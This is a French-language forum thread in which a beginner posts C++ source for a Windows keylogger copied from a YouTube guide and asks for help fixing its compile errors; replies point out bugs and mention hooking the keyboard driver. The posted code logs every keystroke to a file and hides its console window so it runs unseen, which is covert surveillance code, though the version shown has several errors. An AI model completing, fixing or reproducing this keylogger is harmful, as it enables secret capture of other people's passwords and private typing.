Probleme keylogger dev c++

yanjobin -  
 yanjobin -
Bonjour,
je commence tout juste en programation, et je suis un guide sur youtube pour faire un keylogger tres simple, amsi meme avec le guide, je fait liogne par ligne ce quil dit, il a toujours plein derreure quand je compile

Voici les ligne de codes:

#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save(i,*LOG.TXT*);
}
}
system ("PAUSE");
return 0;
}
/* ************************************** */
/* ************************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "[\n]");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose(OUTPUT_FILE);
return 0;
}
/* ************************************** */
/* ************************************** */
void Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
showWindow(stealth,0)
}

Bon est ce que quelqu'un peut maider pour quil marche bien svvp? ce serait tres gentil merci!

2 réponses

  1. Char Snipeur Messages postés 10112 Date d'inscription   Statut Contributeur Dernière intervention   1 331
     
    pourquoi t'aider ? T'apprend rien de ce qu'on te dit !
    erreur 1 : "char i" <->190
    erreur 2 : *LOG.TXT*
    https://forums.commentcamarche.net/forum/affich-25626950-probleme-avec-dev-c#p25630384
    Corrige ton code on verra le reste après.
    0
    1. yanjobin
       
      ouais je suis desoler, je pensais les avoir corriger, mais on dirait bien que jai oublier de sauvegarder apres les avoir corriger ;/
      merci bien
      0
  2. Utilisateur anonyme
     
    Hello,

    C'est bien pour un début, mais si tu hook pas le drivers du clavier ça sert pas beaucoup... :)
    0
    1. yanjobin
       
      tu veut dire quoi par la ? :D
      0
    2. Utilisateur anonyme
       
      Filtrer les touches si tu veux...
      0
    3. yanjobin
       
      d'accord, et comment on fait ca :P
      0
    4. Utilisateur anonyme
       
      On fait pas, surtout que c'est compliqué...
      0
    5. yanjobin
       
      ok , mais pour mon keylogger tu peut maider svp? voici les erreures que jai ;/

      C:\Users\****\Desktop\Keylog\BasicKeylog.cpp In function 'int main()':
      17 -C:\Users\****\Desktop\Keylog\BasicKeylog.cpp name lookup of 'i' changed for new ISO 'for' scoping
      15 - C:\Users\****\Desktop\Keylog\BasicKeylog.cpp using obsolete binding at 'i'
      C:\Users\****\Desktop\Keylog\BasicKeylog.cpp In function 'void Stealth()':
      62 - C:\Users\****\Desktop\Keylog\BasicKeylog.cpp 'showWindow' undeclared (first use this function)
      (Each undeclared identifier is reported only once for each function it appears in.)

      merci
      0